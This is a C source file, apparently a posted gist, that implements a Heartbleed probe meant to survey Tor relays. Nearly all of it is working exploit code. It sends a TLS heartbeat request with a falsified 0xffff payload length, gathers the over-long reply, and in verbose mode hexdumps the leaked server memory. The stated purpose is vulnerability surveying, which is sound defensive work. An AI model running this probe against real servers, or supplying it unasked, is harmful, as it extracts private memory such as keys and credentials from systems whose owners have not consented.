gistfile1.c

/*
 * Author: Andrea Shepard <[email protected]>
 * Date: 2014-04-10
 * 
 * Written as probe component of a larger tool to survey for Tor nodes
 * vulnerable to Heartbleed; since we actually use OpenSSL it works correctly
 * in unusual handshake cases like prompting for client certs, unlike that python
 * script that initially circulated, and the async I/O gives us good control
 * about timeouts so we can be patient and have a low probability of false
 * negatives. 
 *
 * TODO: while we have the connection open, do enough of a Tor handshake to
 * check the remote end's identity digest too.
 */

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <arpa/inet.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <errno.h>
#include <fcntl.h>
#include <netdb.h>
#include <time.h>
#include <unistd.h>

#include <openssl/bio.h>
#include <openssl/err.h>
#include <openssl/ssl.h>

#define HB_PROBE_SSL_HANDSHAKE_TIMEOUT 120
#define HB_PROBE_HEARTBEAT_SEND_TIMEOUT 120
#define HB_PROBE_HEARTBEAT_RESPONSE_TIMEOUT 120

typedef struct {
  char *host;
  char *addr;
  uint16_t port;
  int resolved:1;
  int got_connection:1;
  int got_ssl:1;
  int has_heartbeats:1;
  int has_heartbleed:1;
  int is_safe:1;
  int probe_error:1;
  int got_response:1;
  void *hb_results;
  /* The actual size of the payload received */
  size_t hb_results_len;
  /* The payload size field from the response message */
  unsigned int hb_payload_len;
  uint16_t leak_requested;
} probe_results_t;

typedef struct {
  /* The descriptor */
  int sock;
  /* SSL */
  SSL *ssl;
  /* Can/want read/write flags */
  int can_read:1;
  int wants_read:1;
  int can_write:1;
  int wants_write:1;
  /* Set the break flag from places like callbacks to stop trying */
  int break_flag:1;
  /* Timeout stuff */
  struct timespec op_start_time;
  int timeout;
  /* Flags back to user */
  int timeout_flag:1;
  int giveup_flag:1;
  int done_flag:1;
  /* SSL error code if giveup_flag is set */
  int ssl_err;
} nbio_status_t;

typedef struct {
  probe_results_t *pr;
  nbio_status_t *ns;
  int verbose;
} callback_info_t;

static void clear_probe_results(probe_results_t *pr);
static void do_tor_heartbleed_probe(const char *host, uint16_t port,
                                    int verbose);
static void emit_probe_results(probe_results_t *pr);
static int get_socket_for_probe(const char *host, uint16_t port,
                                int verbose, probe_results_t *pr);
static void hexdump(const uint8_t *buf, size_t len);
int main(int argc, char **argv, char **envp);
static void nbio_status_reset(nbio_status_t *n, int timeout);
static int nbio_handle_ssl_result(nbio_status_t *n, int res);
static void probe_an_ssl(SSL *ssl, int verbose, probe_results_t *pr,
                         nbio_status_t *ns);
static void probe_cb(int write_p, int version, int content_type,
                     const void *buf, size_t len, SSL *ssl, void *arg);
static void probe_for_heartbleed(SSL *ssl, int verbose,
                                 probe_results_t *pr,
                                 nbio_status_t *ns);

static void clear_probe_results(probe_results_t *pr) {
  if (!pr) return;

  if (pr->host) free(pr->host);
  if (pr->addr) free(pr->addr);
  if (pr->hb_results) free(pr->hb_results);

  memset(pr, 0, sizeof(*pr));
}

static void do_tor_heartbleed_probe(const char *host, uint16_t port,
                                    int verbose) {
  int sock = -1, res, nres, err;
  unsigned long ossl_err;
  BIO *bio = NULL;
  SSL_CTX *ssl_ctx = NULL;
  SSL *ssl = NULL;
  nbio_status_t ns;
  probe_results_t pr;

  /* Clear results */
  memset(&pr, 0, sizeof(pr));
  sock = get_socket_for_probe(host, port, verbose, &pr);
  if (sock >= 0) {
    /* Put it in non-blocking mode */
    res = fcntl(sock, F_SETFL, (long)(O_NONBLOCK));
    if (res == 0) {
      /* Okay, now get a BIO for it */
      bio = BIO_new_socket(sock, 0);
      if (bio) {
        ssl_ctx = SSL_CTX_new(SSLv23_client_method());
        if (ssl_ctx) {
          ssl = SSL_new(ssl_ctx);
          if (ssl) {
            SSL_set_bio(ssl, bio, bio);
            /* We can now null bio so we don't double-free */
            bio = NULL;
            /* Set up the nbio stuff */
            ns.sock = sock;
            ns.ssl = ssl;
            nbio_status_reset(&ns, HB_PROBE_SSL_HANDSHAKE_TIMEOUT);
            /* Try to handshake now */
            do {           
              res = SSL_connect(ssl);
              nres = nbio_handle_ssl_result(&ns, res);
            } while(nres);

            if (ns.done_flag) {
              /* Got one! */
              if (verbose) {
                printf("SSL handshake successful\n");
              }
              pr.got_ssl = 1;
              probe_an_ssl(ssl, verbose, &pr, &ns);

              nbio_status_reset(&ns, HB_PROBE_SSL_HANDSHAKE_TIMEOUT);
              do {
                res = SSL_shutdown(ssl);
                nres = nbio_handle_ssl_result(&ns, res);
              } while (nres);
              /* Don't bother dealing with errors from SSL_shutdown() */
            } else {
              if (ns.giveup_flag) {
                if (ns.ssl_err != 0) {
                  err = SSL_get_error(ssl, res);
                  fprintf(stderr, "SSL error handshaking: %d\n", err);
                  while (ossl_err = ERR_get_error()) {
                    fprintf(stderr, "SSL error queue: %s\n",
                            ERR_error_string(ossl_err, NULL));
                  }
                } else {
                  fprintf(stderr,
                          "Giving up on handshake without known "
                          "SSL error\n");
                }
              } else if (ns.timeout_flag) {
                fprintf(stderr, "Handshake timed out\n");
              }

              pr.probe_error = 1;
            }

            SSL_free(ssl);
          } else {
            fprintf(stderr, "Failed to get an SSL\n");
            pr.probe_error = 1;
          }
          SSL_CTX_free(ssl_ctx);
        } else {
          fprintf(stderr, "Failed to get an SSL_CTX\n");
          pr.probe_error = 1;
        }

        if (bio) {
          BIO_free(bio);
          bio = NULL;
        }
      } else {
        fprintf(stderr, "Failed to get BIO for socket\n");
        pr.probe_error = 1;
      }
    } else{
      fprintf(stderr, "Failed to put socket in non-blocking mode\n");
      pr.probe_error = 1;
    }

    close(sock);
  } else {
    fprintf(stderr, "Failed to get socket to %s:%u\n", host, port);
    pr.probe_error = 1;
  }

  /* Emit results and free */
  if (verbose && pr.hb_results_len >= 19 && pr.hb_results != NULL) {
    if (pr.hb_results_len > 19) {
      printf("Final heartbleed results are, excluding padding and header:\n");
      hexdump((uint8_t *)pr.hb_results + 3, pr.hb_results_len - 19);
    }
    printf("The server's random padding is:\n");
    hexdump((uint8_t *)pr.hb_results + pr.hb_results_len - 16, 16);
  }

  emit_probe_results(&pr);
  clear_probe_results(&pr);
}

static void emit_probe_results(probe_results_t *pr) {
  if (!pr) return;

  if (!(pr->probe_error)) {
    /* Decide if we're safe */
    if (pr->got_response && pr->hb_results_len > 2) {
      /* Heartbleed-type leak; we only sent 2 bytes */
      pr->is_safe = 0;
      pr->has_heartbleed = 1;
    } else {
      /* We got a response that didn't leak, or got no response */
      pr->is_safe = 1;
      pr->has_heartbleed = 0;
    }
  }
  /*
   * else various error conditions - we can't conclude is_safe or
   * has_heartbleed
   */

  /* Emit probe success status */
  printf(pr->probe_error ? "1|" : "0|");

  /* Emit hostname/addr/port */
  if (pr->host) printf("%s|", pr->host);
  else printf("|");

  if (pr->addr) printf("%s|", pr->addr);
  else printf("|");

  printf("%hu|", pr->port);

  /* Emit resolution/connection/ssl handshake success bits */
  printf(pr->resolved ? "1|" : "0|");
  printf(pr->got_connection ? "1|" : "0|");
  printf(pr->got_ssl ? "1|" : "0|");

  /* Does it say it has heartbeats? */
  printf(pr->has_heartbeats ? "1|" : "0|");

  /* Did we get a response to a heartbeat request? */
  printf(pr->got_response ? "1|" : "0|");
  if (pr->got_response) {
    /* Actual size received */
    printf("%u|", pr->hb_results_len);
    /* Payload length field value received */
    printf("%hu|", pr->hb_payload_len);
  } else {
    printf("||");
  }

  /* These should never be both true, but can be both false in error cases */

  /* Does it have the heartbleed bug? */
  printf(pr->has_heartbleed ? "1|" : "0|");
  /* Do we think it's safe? */
  printf(pr->is_safe ? "1\n" : "0\n");
}

static int get_socket_for_probe(const char *host, uint16_t port,
                                int verbose, probe_results_t *pr) {
  struct addrinfo gai_hints;
  struct addrinfo *gai_res = NULL, *gai_ptr;
  int res, sock = -1, attempts;
  char buf[INET_ADDRSTRLEN+INET6_ADDRSTRLEN+1];
  const void *addr = NULL;

  /* Set up probe results host and port fields */
  pr->host = strdup(host);
  pr->port = port;
  /* First, resolve it using getaddrinfo() */
  memset(&gai_hints, 0, sizeof(gai_hints));
  gai_hints.ai_family = AF_UNSPEC; /* Either IPv4 or v6 acceptable */
  gai_hints.ai_socktype = SOCK_STREAM;
  gai_hints.ai_protocol = 0;
  /* Only bother with the ones we can try to use */
  gai_hints.ai_flags = AI_ADDRCONFIG;
  res = getaddrinfo(host, NULL, &gai_hints, &gai_res);
  if (res != 0) {
    fprintf(stderr, "Failed to resolve host \"%s\": %s\n",
            host, gai_strerror(res));
    goto done;
  }

  if (gai_res) {
    pr->resolved = 1;
    gai_ptr = gai_res;
    attempts = 0;
    while (gai_ptr) {
      /* Try this one */
      if (gai_ptr->ai_socktype == SOCK_STREAM &&
          (gai_ptr->ai_family == AF_INET ||
           gai_ptr->ai_family == AF_INET6)) {
        sock = socket(gai_ptr->ai_family, SOCK_STREAM, 0);

        if (sock >= 0) {
          ++attempts;
          /* Set the port and if we're verbose emit a message */
          if (gai_ptr->ai_family == AF_INET) {
            ((struct sockaddr_in *)(gai_ptr->ai_addr))->sin_port =
              htons(port);
            addr = &(((struct sockaddr_in *)(gai_ptr->ai_addr))->sin_addr);
          } else {
            /* Must be AF_INET6 */
            ((struct sockaddr_in6 *)(gai_ptr->ai_addr))->sin6_port =
              htons(port);
            addr = &(((struct sockaddr_in6 *)(gai_ptr->ai_addr))->sin6_addr);
          }
          strncpy(buf, "(unknown)", INET_ADDRSTRLEN+INET6_ADDRSTRLEN);
          inet_ntop(gai_ptr->ai_family, addr, buf,
                    INET_ADDRSTRLEN+INET6_ADDRSTRLEN);
          if (verbose) {
            printf("Trying %s... ", buf);
          }
          /* Update pr->addr */
          if (pr->addr) {
            free(pr->addr);
          }
          pr->addr = strdup(buf);
          res = connect(sock, gai_ptr->ai_addr, gai_ptr->ai_addrlen);
          if (res == 0) {
            /* Got it */
            if (verbose) {
              printf("got it!\n");
            }
            pr->got_connection = 1;
            /* break out of the loop with sock */
            break;
          } else {
            /* Failed */
            if (verbose) {
              printf("failed: %s\n", strerror(errno));
            }
            close(sock);
            sock = -1;
          }
        }
        /* else nothing to do, must not have this address family */
      } else {
        fprintf(stderr,
                "Skipping result from getaddrinfo() with unknown "
                "ai_socktype == %d or ai_family == %d\n",
                gai_ptr->ai_socktype, gai_ptr->ai_family);
      }

      /* If we're still here, no luck */
      gai_ptr = gai_ptr->ai_next;
    }

    if (sock < 0) {
      if (attempts > 0) {
        fprintf(stderr, "Couldn't connect to \"%s\" on any address\n", host);
      } else {
        fprintf(stderr,
                "Couldn't use any resolved addresses for host \"%s\"\n",
                host);
      }
    }
  } else {
    fprintf(stderr, "getaddrinfo() succeeded but returned no results\n");
    goto done;
  }

 done:
  if (gai_res) freeaddrinfo(gai_res);

  return sock;
}

static void hexdump(const uint8_t *buf, size_t len) {
  size_t off;
  int i;

  /* Dump 16 bytes per line */
  for (off = 0; off < len; off += 16) {
    /* Start with the offset */
    printf(" %08x ", off);
    /* Now the hex bytes */
    for (i = 0; i < 16; ++i) {
      if (off + i < len) printf("%02x ", buf[off+i]);
      else printf("   ");
    }
    /* Now ASCII for the printables */
    for (i = 0; i < 16 && off + i < len; ++i) {
      if (isprint((char)(buf[off + i]))) putchar(buf[off + i]);
      else putchar('.');
    }
    /* Newline */
    putchar('\n');
  }
}

int main(int argc, char **argv, char **envp) {
  int verbose_mode = 0, result, rv = 0;
  char *host_arg = NULL, *port_arg = NULL;
  uint16_t port = 0;

  /* Set up OpenSSL */
  SSL_load_error_strings();
  SSL_library_init();

  if (argc == 3 || argc == 4) {
    /* Pick out the host/port; we have room for one flag */
    if (argc == 3) {
      host_arg = argv[1];
      port_arg = argv[2];
    } else {
      host_arg = argv[2];
      port_arg = argv[3];
      if (strcmp(argv[1], "-v") == 0) {
        verbose_mode = 1;
      } else {
        fprintf(stderr, "Ignoring unknown option \"%s\"\n", argv[1]);
      }
    }

    if (host_arg && port_arg) {
      result = sscanf(port_arg, "%hu", &port);
      if (result == 1) {
        if (strlen(host_arg) > 0) {
          do_tor_heartbleed_probe(host_arg, port, verbose_mode);
        } else {
          fprintf(stderr, "Empty host makes no sense\n");
          rv = 1;
        }
      } else {
        fprintf(stderr, "Couldn't parse port \"%s\"\n", port_arg);
        rv = 1;
      }
    } else {
      fprintf(stderr, "Option parsing error\n");
      rv = 1;
    }
  } else {
    fprintf(stderr, "Wrong number of args\n");
    rv = 1;
  }

  return rv;
}

static void nbio_status_reset(nbio_status_t *n, int timeout) {
  int res;

  if (!n || timeout < 0) return;

  n->can_read = n->wants_read = 0;
  n->can_write = n->wants_write = 0;
  n->break_flag = 0;
  n->timeout = timeout;
  if (n->timeout > 0) {
    res = clock_gettime(CLOCK_MONOTONIC, &(n->op_start_time));
    if (res != 0) {
      fprintf(stderr,
              "clock_gettime() failed: %s; timeout won't work\n",
              strerror(errno));
      n->timeout = 0;
    }
  }

  n->timeout_flag = n->giveup_flag = n->done_flag = 0;
}

static int nbio_handle_ssl_result(nbio_status_t *n, int res) {
  int err, r, no_timeout = 0;
  struct timespec now;
  struct timeval tm;
  fd_set rfds, wfds;

  /* Don't tell the caller to retry if they failed at calling us */
  if (!n) return 0;

  if (res >= 0) {
    /* The operation succeeded or failed for protocol reasons */
    if (res > 0) n->done_flag = 1;
    else n->giveup_flag = 1;
    /* Don't try again */
    return 0;
  }

  /*
   * Okay, we had an error return that might be a real error or we
   * might want reads/writes.  Check the error queue.
   */
  err = SSL_get_error(n->ssl, res);
  switch (err) {
    case SSL_ERROR_NONE:
      /* The operation succeeded */
      n->done_flag = 1;
      n->giveup_flag = 0;
      n->wants_read = n->wants_write = 0;
      /* Don't retry */
      return 0;
    case SSL_ERROR_ZERO_RETURN:
      /* The connection got closed */
      n->done_flag = 0;
      n->giveup_flag = 1;
      n->wants_read = n->wants_write = 0;
      /* Don't retry */
      return 0;
    case SSL_ERROR_WANT_READ:
      /* We need a read */
      n->done_flag = n->giveup_flag = 0;
      n->can_read = 0;
      n->wants_read = 1;
      break;
    case SSL_ERROR_WANT_WRITE:
      /* We want a write */
      n->done_flag = n->giveup_flag = 0;
      n->can_write = 0;
      n->wants_write = 1;
      break;
    default:
      /* We got some other error that we can't recover from */
      n->done_flag = 0;
      n->giveup_flag = 1;
      n->wants_read = n->wants_write = 0;
  }

  while (!(n->timeout_flag || n->done_flag || n->giveup_flag ||
           n->break_flag) &&
         ((n->wants_read && !(n->can_read)) ||
          (n->wants_write && !(n->can_write)))) {
    /* Check for timeout if necessary */
    if (!no_timeout && n->timeout > 0 && !(n->timeout_flag)) {
      r = clock_gettime(CLOCK_MONOTONIC, &now);
      if (r == 0) {
        /* Subtract the op start time */
        if (now.tv_sec >= n->op_start_time.tv_sec) {
          now.tv_sec -= n->op_start_time.tv_sec;
          if (now.tv_nsec >= n->op_start_time.tv_nsec) {
            now.tv_nsec -= n->op_start_time.tv_nsec;
          } else {
            if (now.tv_sec > 0) {
              --(now.tv_sec);
              now.tv_nsec = 1000000000L + now.tv_nsec -
                n->op_start_time.tv_nsec;
            } else {
              fprintf(stderr, "CLOCK_MONOTONIC isn't monotonic!\n");
              no_timeout = 1;
            }
          }

          if (!no_timeout) {
            if (now.tv_sec >= n->timeout) {
              fprintf(stderr, "Timeout detected\n");
              n->timeout_flag = 1;
              return 0;
            } else {
              /* Calculate remaining time for select() */
              tm.tv_sec = n->timeout - now.tv_sec;
              if (now.tv_nsec > 1000) {
                --(tm.tv_sec);
                tm.tv_usec = (1000000L - (now.tv_nsec / 1000));
              }
            }
          }
        } else {
          fprintf(stderr, "CLOCK_MONOTONIC isn't monotonic!\n");
          no_timeout = 1;
        }
      } else {
        fprintf(stderr,
                "clock_gettime() failed: %s; timeout check might wrongly hang\n",
                strerror(errno));
        no_timeout = 1;
      }
    } else no_timeout = 1;

    /* No timeout, so set up our select() */
    FD_ZERO(&rfds);
    FD_ZERO(&wfds);

    if (n->wants_read && !(n->can_read)) FD_SET(n->sock, &rfds);
    if (n->wants_write && !(n->can_write)) FD_SET(n->sock, &wfds);

    r = select(n->sock + 1, &rfds, &wfds, NULL, no_timeout ? NULL : &tm);

    if (r > 0) {
      if (FD_ISSET(n->sock, &rfds)) n->can_read = 1;
      if (FD_ISSET(n->sock, &wfds)) n->can_write = 1;

      /* Loop through again unless we have all we want */
    } else if (r == 0) {
      /* Timeout */
      n->timeout_flag = 1;
      return 0;
    } else {
      /* select() error */
      fprintf(stderr, "Error return from select(): %s\n", strerror(errno));
      n->giveup_flag = 1;
      return 0;
    }
  }

  /* Wooo, we're done! */
  if (n->done_flag || n->giveup_flag || n->timeout_flag || n->break_flag) {
    return 0;
  }
  /* else retry */
  else {
    return 1;
  }
}

static void probe_an_ssl(SSL *ssl, int verbose, probe_results_t *pr,
                         nbio_status_t *ns) {
  /*
   * We have an SSL session!
   *
   * Two objectives now:
   *   1.) Find out if it's vulnerable to Heartbleed
   *   2.) Get its Tor identity key
   */

  /* TODO Tor identity digest check */

  probe_for_heartbleed(ssl, verbose, pr, ns);
}

static void probe_cb(int write_p, int version, int content_type,
                     const void *buf, size_t len, SSL *ssl, void *arg) {
  callback_info_t *cbinfo = (callback_info_t *)(arg);
  unsigned short hbtype;
  unsigned int payload_len, heartbleed = 0;
  const uint8_t *p;
  void *v;

  if (write_p != 0 || cbinfo == NULL || buf == NULL ||
      len == 0 || ssl == NULL ) {
    return;
  }

  /*
   * So, we have write_p == 0, so this is a message received.
   * Heartbeat messages should have type 24
   */
  if (content_type != 24) {
    if (cbinfo->verbose) {
      printf("Skipping non-heartbeat message type %d of length %d\n",
             content_type, len);
    }
    return;
  }

  if (cbinfo->verbose) {
    printf("Got a heartbeat message of length %d\n", len);
  }

  if (!(cbinfo->pr->got_response)) {
    /* First one - dump it and start parsing it */
    if (cbinfo->verbose) {
      printf("Initial heartbeat response is:\n");
      hexdump(buf, len);
    }

    p = (const uint8_t *)buf;
    /* The first byte is a heartbeat type (request or response) */
    if (len < 1) {
      if (cbinfo->verbose) {
        printf("Ignoring short first heartbeat message with no hbtype\n");
      }
      return;
    }
    hbtype = *p++;
    if (hbtype != 2) {
      /* It's not a response */
      if (cbinfo->verbose) {
        printf("This one isn't a response, though (hbtype == %d)\n", hbtype);
      }
      return;
    }
    /* Next we should have a payload length */
    if (len < 3) {
      if (cbinfo->verbose) {
        printf("Ignoring short first heartbeat message with no payload length\n");
      }
      return;
    }
    payload_len = 0;
    payload_len |= (*p++ & 0xff) << 8;
    payload_len |= (*p++ & 0xff);
  
    if (cbinfo->verbose) {
      printf("Got a first heartbeat response message of length %d with "
             "payload length field %u\n", len, payload_len);
    }

    /* We haven't got one already, so save it */
    cbinfo->pr->got_response = 1;
    cbinfo->pr->hb_payload_len = payload_len;
    cbinfo->pr->hb_results_len = len;
    if (cbinfo->pr->hb_results_len > 0) {
      cbinfo->pr->hb_results = malloc(cbinfo->pr->hb_results_len);
      if (cbinfo->pr->hb_results) {
        memcpy(cbinfo->pr->hb_results, buf, cbinfo->pr->hb_results_len);
      } else {
        fprintf(stderr, "malloc failed saving hb result\n");
        cbinfo->ns->break_flag = 1;
        cbinfo->pr->probe_error = 1;
      }
    } else {
      cbinfo->pr->hb_results = NULL;
    }

    if (cbinfo->verbose) {
      printf("Saved first heartbeat response\n");
    }

    if (len > 19) {
      /*
       * We only sent a 2-byte sequence number, so if we got more than
       * that back (including 3 bytes of hbtype/payload and 16 of padding),
       * we win
       */
      heartbleed = 1;
      if (cbinfo->verbose) {
        printf("Got %d bytes back, more than the 2 bytes we sent plus "
               "overhead: looks like Heartbleed is here\n",
               len - 3);
      }
    }

    /*
     * If we have as much response as requested plus expected overhead,
     * tell the loop it can stop.
     */
    if (cbinfo->pr->hb_results_len >= cbinfo->pr->leak_requested + 19) {
      cbinfo->ns->break_flag = 1;
    }
  } else {
    /*
     * This is a subsequent response; we can potentially get up to
     * cbinfo->leak_requested + 19 bytes of responses; the first three
     * bytes are the heartbeat response byte and the payload length, and
     * the last 16 are PRNG output.
     */
    if (cbinfo->pr->hb_results_len < cbinfo->pr->leak_requested + 19) {
      if (cbinfo->verbose) {
        printf("Got %d bytes of additional heartbeat response\n", len);
        hexdump(buf, len);
      }

      if (cbinfo->pr->hb_results_len > 0 &&
          cbinfo->pr->hb_results != NULL) {
        if (len > 0) {
          v = realloc(cbinfo->pr->hb_results,
                      cbinfo->pr->hb_results_len + len);
          if (v) {
            cbinfo->pr->hb_results = v;
            memcpy((uint8_t *)(cbinfo->pr->hb_results) +
                   cbinfo->pr->hb_results_len, buf, len);
            cbinfo->pr->hb_results_len += len;
          } else {
            fprintf(stderr, "realloc failed saving hb result\n");
            cbinfo->ns->break_flag = 1;
            cbinfo->pr->probe_error = 1;
            /* Free the truncated buffer */
            free(cbinfo->pr->hb_results);
            cbinfo->pr->hb_results = NULL;
            /* Increment the length counter though, so we know how much */
            cbinfo->pr->hb_results_len += len;
          }
        }
      } else {
        fprintf(stderr,
                "Not saving additional hb response due to previous error\n");
        cbinfo->ns->break_flag = 1;
        cbinfo->pr->probe_error = 1;
        /* Increment the length counter though, so we know how much */
        cbinfo->pr->hb_results_len += len;
      }
    } else {
      /* Really extra heartbeat response */
      if (cbinfo->verbose) {
        printf("Got %d of unexpected extra heartbeat\n", len);
        hexdump(buf, len);
      }
    }
  }

  /*
   * If we have as much response as requested plus expected overhead,
   * tell the loop it can stop.
   */
  if (cbinfo->pr->hb_results_len >= cbinfo->pr->leak_requested + 19) {
    if (cbinfo->verbose) {
      printf("Got all the responses we expect, not waiting any more\n");
    }
    cbinfo->ns->break_flag = 1;
  }
}

static void probe_for_heartbleed(SSL *ssl, int verbose,
                                 probe_results_t *pr,
                                 nbio_status_t *ns) {
  uint8_t buf[5];
  int r, err, nres;
  unsigned long ossl_err;
  callback_info_t cbinfo;

  /* Is there heartbeat support? */
  if (ssl->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED) {
    if (verbose) {
      printf("Peer supports heartbeats\n");
    }
    pr->has_heartbeats = 1;
  } else if (verbose) {
    printf("Peer does not support the heartbeat extension\n");
  }

  /* Try heartbleed probe anyway, just in case... */
  /* Install our callback */
  cbinfo.pr = pr;
  cbinfo.verbose = verbose;
  cbinfo.ns = ns;
  pr->leak_requested = 0xffff;
  SSL_set_msg_callback_arg(ssl, &cbinfo);
  SSL_set_msg_callback(ssl, probe_cb);
  if (verbose) printf("Callback installed\n");
  
  /* Message type */
  buf[0] = TLS1_HB_REQUEST;
  /* Lie about the payload length to tickle heartbleed */
  buf[1] = (pr->leak_requested >> 8) & 0xff;
  buf[2] = (pr->leak_requested & 0xff);
  /* Sequence */
  buf[3] = (ssl->tlsext_hb_seq >> 8) & 0xff;
  buf[4] = ssl->tlsext_hb_seq & 0xff;

  nbio_status_reset(ns, HB_PROBE_HEARTBEAT_SEND_TIMEOUT);
  do {
    r = ssl3_write_bytes(ssl, TLS1_RT_HEARTBEAT, buf, 5);
    nres = nbio_handle_ssl_result(ns, r);
  } while (nres);

  if (ns->done_flag) {
    if (verbose) {
      printf("Sent heartbeat request\n");
    }

    /* Wait for a callback by just reading and throwing results away */
    nbio_status_reset(ns, HB_PROBE_HEARTBEAT_RESPONSE_TIMEOUT);
    while (!(ns->timeout_flag || ns->break_flag)) {
      do {
        r = SSL_read(ssl, buf, 1);
        nres = nbio_handle_ssl_result(ns, r);
      } while (nres && !(ns->break_flag));

      if (ns->timeout_flag) {
        if (verbose) {
          printf("Timeout expired without seeing a heartbeat response\n");
        }
        /*
         * It's important that a timeout is not a probe_error; the other end
         * could just be ignoring heartbeats, and we try sending them anyway
         * even if OpenSSL thinks it won't accept them.
         */
      }
      else if (ns->done_flag) {
        /* We don't want to reset the timeout too */
        ns->done_flag = 0;
        ns->giveup_flag = 0;
        ns->can_read = ns->wants_read = 0;
        ns->can_write = ns->wants_write = 0;
        ns->ssl_err = 0;
      }
      else if (ns->giveup_flag) {
        if (ns->ssl_err != 0) {
          err = SSL_get_error(ssl, r);
          fprintf(stderr, "SSL error waiting for heartbeat response: %d\n", err);
          while (ossl_err = ERR_get_error()) {
            fprintf(stderr, "SSL error queue: %s\n",
                    ERR_error_string(ossl_err, NULL));
          }
        } else {
          fprintf(stderr,
                  "Giving up on waiting for heartbeat response without known "
                  "SSL error\n");
        }

        /* Make sure we record the error so this isn't a false negative */
        pr->probe_error = 1;
        break;
      }
    }
  } else {
    if (ns->giveup_flag) {
      if (ns->ssl_err != 0) {
        err = SSL_get_error(ssl, r);
        fprintf(stderr, "SSL error sending heartbeat request: %d\n", err);
        while (ossl_err = ERR_get_error()) {
          fprintf(stderr, "SSL error queue: %s\n",
                  ERR_error_string(ossl_err, NULL));
        }
      } else {
        fprintf(stderr,
                "Giving up on sending heartbeat request without known "
                "SSL error\n");
      }
    } else if (ns->timeout_flag) {
      fprintf(stderr, "Sending heartbeat request timed out\n");
    }

    pr->probe_error = 1;
  }

  /* Remove callback handler */
  SSL_set_msg_callback(ssl, NULL);
  SSL_set_msg_callback_arg(ssl, NULL);
  if (verbose) printf("Callback removed\n");
}